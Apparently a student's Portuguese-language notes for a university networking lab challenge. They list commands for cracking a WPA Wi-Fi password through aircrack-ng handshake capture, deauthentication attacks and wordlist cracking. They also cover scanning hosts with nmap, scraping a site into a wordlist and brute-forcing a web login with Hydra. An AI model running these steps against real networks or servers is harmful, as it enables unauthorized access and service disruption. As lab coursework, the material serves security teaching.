

# Desafio N2 - Tópicos Avançados em Redes de Computadores

quarta-feira, 20 de setembro de 2023 22:52

## Script

### Quebra do wifi:

- Troque o padrão de tecla para ABNT 2

```
setxkbmap -model abnt2 -layout br
```

```
iwconfig
```

```
airmon-ng check kill
```

```
airmon-ng
```

```
airmon-ng start wlan0
```

```
airodump-ng wlan0mon
```

```
airodump-ng wlan0mon -d {MAC ADDR}
```

```
airodump-ng -w hack -c {Channel} --bssid {MAC ADDR} wlan0mon
```

- Abrir uma nova janela do terminal

```
aireplay-ng --deauth 0 -a {MAC ADDR} wlan0mon
```

- No primeiro terminal ele deve capturar o HandShake

```
wireshark hack.cap
```

```
airmon-ng stop wlan0mon
```

```
aircrack-ng hack.cap -w /usr/share/wordlists/rocky
```

- Esperar para encontrar a senha

### Invasão do Server:

- Encontrar o target:

```
nmap -sP network/mask
```

- Gerar uma wordlist

```
curl "{URL}" | sed 's/[^a-zA-Z]/ /g' | tr 'A-Z' 'a-z\n' | grep '[a-z]' | sort -u > /tmp/wordlist.txt
```

- Quantas palavras foram capturadas?

```
wc -w < wordlist.txt
```

- Incluir uma senha no fim da WL

```
echo "insper" >> wordlist.txt
```

```
tail wordlist.txt
```

- Visualizar o arquivo existente

```
cat wordlist.txt
```



OOOUU

- Abrir o código busca\_por\_wl.py

```
python busca_por_wl.py
```

```
aircrack-ng senha-01.cap -w 'MEU_ARQUIVO'
```



OOOUU

- Invocar o Hydra para brutforce no servidor

```
hydra {URL} http-form-post "/userinfo.php:uname=^USER^&pass^PASS^:login  
page" -L {WordList Username} -P {WordList Password} -V
```

- Abrir o código busca\_por\_wl.py

```
python busca_por_wl.py
```

```
hydra {URL} http-form-post  
"/userinfo.php:uname=^USER^&pass^PASS^:login page" -L  
{WordList Username} -P {WordList Password} -V
```

Chave de criptografia = 1994  
Usar cifra de cesar

FELLHLB

